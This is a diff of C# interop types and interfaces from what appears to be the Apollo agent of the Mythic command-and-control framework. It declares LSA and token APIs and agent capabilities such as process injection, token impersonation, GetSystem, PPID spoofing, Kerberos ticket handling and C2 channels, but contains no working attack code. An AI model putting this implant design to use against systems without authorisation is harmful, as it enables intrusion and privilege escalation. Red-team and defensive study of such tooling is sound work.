InvalidComputerName = 0xc0000122,
FileDeleted = 0xc0000123,
SpecialAccount = 0xc0000124,
SpecialGroup = 0xc0000125,
SpecialUser = 0xc0000126,
MembersPrimaryGroup = 0xc0000127,
FileClosed = 0xc0000128,
TooManyThreads = 0xc0000129,
ThreadNotInProcess = 0xc000012a,
TokenAlreadyInUse = 0xc000012b,
PagefileQuotaExceeded = 0xc000012c,
CommitmentLimit = 0xc000012d,
InvalidImageLeFormat = 0xc000012e,
InvalidImageNotMz = 0xc000012f,
InvalidImageProtect = 0xc0000130,
InvalidImageWin16 = 0xc0000131,
LogonServer = 0xc0000132,
DifferenceAtDc = 0xc0000133,
SynchronizationRequired = 0xc0000134,
DllNotFound = 0xc0000135,
IoPrivilegeFailed = 0xc0000137,
OrdinalNotFound = 0xc0000138,
EntryPointNotFound = 0xc0000139,
ControlCExit = 0xc000013a,
InvalidAddress = 0xc0000141,
PortNotSet = 0xc0000353,
DebuggerInactive = 0xc0000354,
CallbackBypass = 0xc0000503,
PortClosed = 0xc0000700,
MessageLost = 0xc0000701,
InvalidMessage = 0xc0000702,
RequestCanceled = 0xc0000703,
RecursiveDispatch = 0xc0000704,
LpcReceiveBufferExpected = 0xc0000705,
LpcInvalidConnectionUsage = 0xc0000706,
LpcRequestsNotAllowed = 0xc0000707,
ResourceInUse = 0xc0000708,
ProcessIsProtected = 0xc0000712,
VolumeDirty = 0xc0000806,
FileCheckedOut = 0xc0000901,
CheckOutRequired = 0xc0000902,
BadFileType = 0xc0000903,
FileTooLarge = 0xc0000904,
FormsAuthRequired = 0xc0000905,
VirusInfected = 0xc0000906,
VirusDeleted = 0xc0000907,
TransactionalConflict = 0xc0190001,
InvalidTransaction = 0xc0190002,
TransactionNotActive = 0xc0190003,
TmInitializationFailed = 0xc0190004,
RmNotActive = 0xc0190005,
RmMetadataCorrupt = 0xc0190006,
TransactionNotJoined = 0xc0190007,
DirectoryNotRm = 0xc0190008,
CouldNotResizeLog = 0xc0190009,
TransactionsUnsupportedRemote = 0xc019000a,
LogResizeInvalidSize = 0xc019000b,
RemoteFileVersionMismatch = 0xc019000c,
CrmProtocolAlreadyExists = 0xc019000f,
TransactionPropagationFailed = 0xc0190010,
CrmProtocolNotFound = 0xc0190011,
TransactionSuperiorExists = 0xc0190012,
TransactionRequestNotValid = 0xc0190013,
TransactionNotRequested = 0xc0190014,
TransactionAlreadyAborted = 0xc0190015,
TransactionAlreadyCommitted = 0xc0190016,
TransactionInvalidMarshallBuffer = 0xc0190017,
CurrentTransactionNotValid = 0xc0190018,
LogGrowthFailed = 0xc0190019,
ObjectNoLongerExists = 0xc0190021,
StreamMiniversionNotFound = 0xc0190022,
StreamMiniversionNotValid = 0xc0190023,
MiniversionInaccessibleFromSpecifiedTransaction = 0xc0190024,
CantOpenMiniversionWithModifyIntent = 0xc0190025,
CantCreateMoreStreamMiniversions = 0xc0190026,
HandleNoLongerValid = 0xc0190028,
NoTxfMetadata = 0xc0190029,
LogCorruptionDetected = 0xc0190030,
CantRecoverWithHandleOpen = 0xc0190031,
RmDisconnected = 0xc0190032,
EnlistmentNotSuperior = 0xc0190033,
RecoveryNotNeeded = 0xc0190034,
RmAlreadyStarted = 0xc0190035,
FileIdentityNotPersistent = 0xc0190036,
CantBreakTransactionalDependency = 0xc0190037,
CantCrossRmBoundary = 0xc0190038,
TxfDirNotEmpty = 0xc0190039,
IndoubtTransactionsExist = 0xc019003a,
TmVolatile = 0xc019003b,
RollbackTimerExpired = 0xc019003c,
TxfAttributeCorrupt = 0xc019003d,
EfsNotAllowedInTransaction = 0xc019003e,
TransactionalOpenNotAllowed = 0xc019003f,
TransactedMappingUnsupportedRemote = 0xc0190040,
TxfMetadataAlreadyPresent = 0xc0190041,
TransactionScopeCallbacksNotSet = 0xc0190042,
TransactionRequiredPromotion = 0xc0190043,
CannotExecuteFileInTransaction = 0xc0190044,
TransactionsNotFrozen = 0xc0190045,
MaximumNtStatus = 0xffffffff
}
public enum Severity
{
Success,
Informational,
Warning,
Error,
}

View File

@@ -0,0 +1,6 @@
namespace ApolloInterop.Features.WindowsTypesAndAPIs;
public class NtdllAPIs
{
public delegate void RtlMoveMemory(APIInteropTypes.HANDLE dest, APIInteropTypes.HANDLE src, uint count);
}

View File

@@ -0,0 +1,20 @@
using ApolloInterop.Enums;
using static ApolloInterop.Features.WindowsTypesAndAPIs.APIInteropTypes;
namespace ApolloInterop.Features.WindowsTypesAndAPIs;
public static class Secur32APIs
{
public delegate NTSTATUS LsaConnectUntrusted(out HANDLE lsaHandle);
public delegate NTSTATUS LsaLookupAuthenticationPackage(HANDLE lsaHandle, HANDLE packageName, out uint authPackage);
public delegate NTSTATUS LsaCallAuthenticationPackage(HANDLE lsaHandle, uint authPackage, HANDLE submitBuffer, int submitBufferLength, out HANDLE returnBuffer, out uint returnBufferLength, out NTSTATUS authPackageStatus);
//the SecurityMode argument is discarded following the documentation specifying it should be ignored
public delegate NTSTATUS LsaRegisterLogonProcess(HANDLE logonProcessName, HANDLE lsaHandle, HANDLE _);
public delegate NTSTATUS LsaDeregisterLogonProcess(HANDLE lsaHandle);
public delegate NTSTATUS LsaEnumerateLogonSessions(out uint logonSessionCount, out HANDLE logonSessionList);
public delegate NTSTATUS LsaFreeReturnBuffer(HANDLE buffer);
public delegate NTSTATUS LsaGetLogonSessionData(HANDLE LogonIdHandle, out HANDLE LogonSessionDataHandle);
public delegate NTSTATUS LsaLogonUser(HANDLE lsaHandle, LSATypes.LSA_IN_STRING originName, Win32.LogonType logonType, uint authPackage, HANDLE submitBuffer, uint submitBufferLength, HANDLE localgroups, WinNTTypes.TOKEN_SOURCE sourceContext, out HANDLE profileBuffer, out uint profileBufferLength, out WinNTTypes.LUID logonId, out HANDLE token, out LSATypes.QUOTA_LIMITS quotas, out NTSTATUS subStatus);
}

View File

@@ -0,0 +1,144 @@
using System;
using System.Runtime.InteropServices;
using System.Text;
using static ApolloInterop.Features.WindowsTypesAndAPIs.APIInteropTypes;
namespace ApolloInterop.Features.WindowsTypesAndAPIs;
public static class WinNTTypes
{
public struct LUID
{
public uint LowPart;
public int HighPart;
public static LUID FromString(string luid)
{
if (String.IsNullOrWhiteSpace(luid))
{
return new LUID();
}
var uintVal = Convert.ToUInt64(luid, 16);
return new LUID
{
LowPart = (uint)(uintVal & 0xffffffffL),
HighPart = (int)(uintVal >> 32)
};
}
public bool IsNull => LowPart == 0 && HighPart == 0;
public override string ToString()
{
var value = ((ulong)HighPart << 32) + LowPart;
return $"0x{value:x}";
}
}
public readonly struct ACCESS_MASK
{
public const uint DELETE = 65536;
public const uint READ_CONTROL = 131072;
public const uint SYNCHRONIZE = 1048576;
public const uint WRITE_DAC = 262144;
public const uint WRITE_OWNER = 524288;
public const uint GENERIC_READ = 2147483648;
public const uint GENERIC_WRITE = 1073741824;
public const uint GENERIC_EXECUTE = 536870912;
public const uint GENERIC_ALL = 268435456;
public const uint STANDARD_RIGHTS_READ = 131072;
public const uint STANDARD_RIGHTS_WRITE = 131072;
public const uint STANDARD_RIGHTS_EXECUTE = 131072;
public const uint STANDARD_RIGHTS_REQUIRED = 983040;
public const uint STANDARD_RIGHTS_ALL = 2031616;
}
public struct OBJECT_ATTRIBUTES
{
public uint Length;
public HANDLE RootDirectory;
public HANDLE<UNICODE_STRING> ObjectName; // -> UNICODE_STRING HANDLE
public uint Attributes;
public HANDLE SecurityDescriptor;
public HANDLE SecurityQualityOfService;
}
[StructLayout(LayoutKind.Sequential)]
public record struct UNICODE_STRING
{
public ushort Length;
public ushort MaximumLength;
public HANDLE Buffer;
public UNICODE_STRING(string str)
{
Length = (ushort)((str.Length +1) * 2);
MaximumLength = Length;
Buffer = (HANDLE)Marshal.StringToHGlobalUni(str);
}
public override string ToString()
{
return Marshal.PtrToStringUni(Buffer);
}
}
public struct SID_AND_ATTRIBUTES
{
public HANDLE Sid;
public uint Attributes;
}
[StructLayout(LayoutKind.Sequential)]
public struct TOKEN_STATISTICS
{
public LUID TokenId;
public LUID AuthenticationId;
public ulong ExpirationTime;
public TOKEN_TYPE TokenType;
public SECURITY_IMPERSONATION_LEVEL ImpersonationLevel;
public uint DynamicCharged;
public uint DynamicAvailable;
public uint GroupCount;
public uint PrivilegeCount;
public LUID ModifiedId;
}
public struct TOKEN_GROUPS
{
public uint GroupCount;
public SID_AND_ATTRIBUTES Groups;
}
public record struct TOKEN_SOURCE
{
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 8)]
public byte[] SourceName;
public LUID SourceIdentifier;
public TOKEN_SOURCE(string name)
{
SourceName = new byte[8];
Encoding.GetEncoding(1252).GetBytes(name, 0, name.Length, SourceName, 0);
}
}
public enum SECURITY_IMPERSONATION_LEVEL
{
SecurityAnonymous,
SecurityIdentification,
SecurityImpersonation,
SecurityDelegation
}
public enum TOKEN_TYPE
{
TokenPrimary = 1,
TokenImpersonation
}
}

View File

@@ -0,0 +1,68 @@
using System.Threading;
using ApolloInterop.Features.KerberosTickets;
namespace ApolloInterop.Interfaces
{
public interface IAgent
{
// Start the agent.
void Start();
// Kill the agent.
void Exit();
// Set agent sleep
void SetSleep(int seconds, double jitter=0);
// Do sleep until a wait handle triggers
void Sleep(WaitHandle[] handles = null);
// Return if we're connected to Mythic or another peer
bool IsAlive();
// Return the current UUID of the agent.
string GetUUID();
// Set a new UUID of the agent.
void SetUUID(string newUUID);
// Lock standard handles of the agent.
void AcquireOutputLock();
// Release the lock on the standard handles of the agent.
void ReleaseOutputLock();
// Return the ITaskManager interface. Manages all aspects of tasking.
ITaskManager GetTaskManager();
// Return the IPeerManager interface. Manages connected P2P nodes.
IPeerManager GetPeerManager();
// Return the ISocksManager interface. Responsible for forwarding SOCKS packets.
ISocksManager GetSocksManager();
// Return the IRpfwdManager interface. Responsible for forwarding Rpfwd packets.
IRpfwdManager GetRpfwdManager();
// Return the IC2ProfileManager interface. Used to add, update, delete, or change C2 rotations.
IC2ProfileManager GetC2ProfileManager();
// Return the IFileManager interface. Used to get and push files to Mythic.
IFileManager GetFileManager();
// Return the IIdentityManager interface. Used for updating currently executing identity context.
IIdentityManager GetIdentityManager();
// Return IProcessManager interface. Used for creating new processes.
IProcessManager GetProcessManager();
// Return IInjectionManager interface. Used for managing how injection is performed and injecting into processes
IInjectionManager GetInjectionManager();
// Return ITicketManager interface. Used for managing Kerberos tickets.
ITicketManager GetTicketManager();
// Return IApi interface. Used for resolving native Win32 API calls, RSA cryptography, and otherwise.
IApi GetApi();
}
}

View File

@@ -0,0 +1,21 @@
using ApolloInterop.Classes;
using System;
using ApolloInterop.Classes.Api;
namespace ApolloInterop.Interfaces
{
public interface IApi
{
T GetLibraryFunction<T>(Library library, string functionName, bool canLoadFromDisk = true, bool resolveForwards = true) where T : Delegate;
T GetLibraryFunction<T>(Library library, short ordinal, bool canLoadFromDisk = true, bool resolveForwards = true) where T : Delegate;
T GetLibraryFunction<T>(Library library, string functionHash, long key, bool canLoadFromDisk=true, bool resolveForwards = true) where T : Delegate;
string NewUUID();
RSAKeyGenerator NewRSAKeyPair(int szKey);
// Maybe other formats in the future?
ICryptographySerializer NewEncryptedJsonSerializer(string uuid, Type cryptoType, string key = "");
}
}

View File

@@ -0,0 +1,25 @@
using ApolloInterop.Structs.MythicStructs;
using ApolloInterop.Types.Delegates;
using ApolloInterop.Enums.ApolloEnums;
namespace ApolloInterop.Interfaces
{
public interface IC2Profile
{
bool Connect(CheckinMessage checkinMessage, OnResponse<MessageResponse> onResp);
void Start();
bool Send<IMythicMessage>(IMythicMessage message);
bool SendRecv<T, TResult>(T message, OnResponse<TResult> onResponse);
bool Recv(MessageType mt, OnResponse<IMythicMessage> onResp);
// Basically tells the caller that this C2 profile is stateful,
// and as such it supports only the SendRecv operation.
bool IsOneWay();
bool IsConnected();
}
}

View File

@@ -0,0 +1,13 @@
namespace ApolloInterop.Interfaces
{
public interface IC2ProfileManager
{
bool AddEgress(IC2Profile profile);
bool AddIngress(IC2Profile profile);
IC2Profile[] GetEgressCollection();
IC2Profile[] GetIngressCollection();
IC2Profile[] GetConnectedEgressCollection();
}
}

View File

@@ -0,0 +1,9 @@
namespace ApolloInterop.Interfaces
{
public interface IChunkMessage
{
int GetChunkNumber();
int GetTotalChunks();
int GetChunkSize();
}
}

View File

@@ -0,0 +1,8 @@
namespace ApolloInterop.Interfaces
{
public interface ICryptographicRoutine
{
byte[] Encrypt(byte[] data);
byte[] Decrypt(byte[] data);
}
}

View File

@@ -0,0 +1,12 @@
namespace ApolloInterop.Interfaces
{
public interface ICryptography
{
string Encrypt(string plaintext);
string Decrypt(string encrypted);
bool UpdateUUID(string uuid);
bool UpdateKey(string key);
string GetUUID();
}
}

View File

@@ -0,0 +1,10 @@
namespace ApolloInterop.Interfaces
{
public interface ICryptographySerializer : ISerializer
{
bool UpdateUUID(string uuid);
bool UpdateKey(string key);
string GetUUID();
}
}

View File

@@ -0,0 +1,16 @@
namespace ApolloInterop.Interfaces
{
public interface IEncryptedFileStore
{
bool TryAddOrUpdate(string keyName, byte[] data);
bool TryGetValue(string keyName, out byte[] data);
string GetScript();
void SetScript(string script);
void SetScript(byte[] script);
string[] ListFiles();
bool RemoveFile(string keyName);
}
}

View File

@@ -0,0 +1,29 @@
using ApolloInterop.Structs.MythicStructs;
using System.Threading;
namespace ApolloInterop.Interfaces
{
public interface IFileManager
{
string[] GetPendingTransfers();
void ProcessResponse(MythicTaskStatus resp);
bool GetFile(CancellationToken ct, string taskID, string fileID, out byte[] fileBytes);
bool PutFile(CancellationToken ct, string taskID, byte[] content, string originatingPath, out string mythicFileId, bool isScreenshot = false, string originatingHost = null);
string GetScript();
void SetScript(string script);
void SetScript(byte[] script);
bool AddFileToStore(string keyName, byte[] data);
bool GetFileFromStore(string keyName, out byte[] data);
string[] ListFiles();
bool RemoveFile(string keyName);
}
}

View File

@@ -0,0 +1,34 @@
using ApolloInterop.Structs.ApolloStructs;
using ApolloInterop.Structs.MythicStructs;
using System;
using System.Security.Principal;
namespace ApolloInterop.Interfaces
{
public interface IIdentityManager
{
WindowsIdentity GetCurrentPrimaryIdentity();
WindowsIdentity GetCurrentImpersonationIdentity();
WindowsIdentity GetOriginal();
bool GetCurrentLogonInformation(out ApolloLogonInformation logonInfo);
void Revert();
void SetPrimaryIdentity(WindowsIdentity identity);
void SetPrimaryIdentity(IntPtr hToken);
void SetImpersonationIdentity(WindowsIdentity identity);
void SetImpersonationIdentity(IntPtr hToken);
bool SetIdentity(ApolloLogonInformation token);
IntegrityLevel GetIntegrityLevel();
bool IsOriginalIdentity();
(bool,IntPtr) GetSystem();
}
}

View File

@@ -0,0 +1,16 @@
using ApolloInterop.Classes.Core;
using System;
namespace ApolloInterop.Interfaces
{
public interface IInjectionManager
{
string[] GetTechniques();
bool SetTechnique(string technique);
InjectionTechnique CreateInstance(byte[] code, int pid);
InjectionTechnique CreateInstance(byte[] code, IntPtr hProcess);
bool LoadTechnique(byte[] assembly, string name);
Type GetCurrentTechnique();
}
}

View File

@@ -0,0 +1,7 @@
namespace ApolloInterop.Interfaces
{
public interface IInjectionTechnique
{
bool Inject(string arguments = "");
}
}

View File

@@ -0,0 +1,9 @@
using ApolloInterop.Enums.ApolloEnums;
namespace ApolloInterop.Interfaces
{
public interface IMythicMessage
{
MessageType GetTypeCode();
}
}

View File

@@ -0,0 +1,13 @@
using System;
using System.IO.Pipes;
using ApolloInterop.Structs.ApolloStructs;
namespace ApolloInterop.Interfaces
{
public interface INamedPipeCallback
{
void OnAsyncConnect(PipeStream pipe, out Object state);
void OnAsyncDisconnect(PipeStream pipe, Object state);
void OnAsyncMessageReceived(PipeStream pipe, IPCData data, Object state);
}
}

View File

@@ -0,0 +1,15 @@
using ApolloInterop.Structs.MythicStructs;
namespace ApolloInterop.Interfaces
{
public interface IPeer
{
bool Start();
void Stop();
string GetUUID();
string GetMythicUUID();
bool Connected();
void ProcessMessage(DelegateMessage message);
bool Finished();
}
}

View File

@@ -0,0 +1,12 @@
using ApolloInterop.Classes.P2P;
using ApolloInterop.Structs.MythicStructs;
namespace ApolloInterop.Interfaces
{
public interface IPeerManager
{
Peer AddPeer(PeerInformation info);
bool Remove(string uuid);
bool Remove(IPeer peer);
bool Route(DelegateMessage msg);
}
}

View File

@@ -0,0 +1,18 @@
using ApolloInterop.Structs.ApolloStructs;
using System;
namespace ApolloInterop.Interfaces
{
public interface IProcess
{
bool Inject(byte[] code, string arguments = "");
void WaitForExit();
void WaitForExit(int milliseconds);
bool Start();
bool StartWithCredentials(ApolloLogonInformation logonInfo);
bool StartWithCredentials(IntPtr hToken);
}
}

View File

@@ -0,0 +1,14 @@
using ApolloInterop.Classes.Core;
using ApolloInterop.Structs.ApolloStructs;
namespace ApolloInterop.Interfaces
{
public interface IProcessManager
{
Process NewProcess(string lpApplication, string lpArguments, bool startSuspended = false);
bool BlockDLLs(bool status);
bool SetPPID(int pid);
bool SetSpawnTo(string lpApplication, string lpCommandLine = null, bool x64 = true);
ApplicationStartupInfo GetStartupInfo(bool x64 = true);
}
}

Some files were not shown because too many files have changed in this diff Show More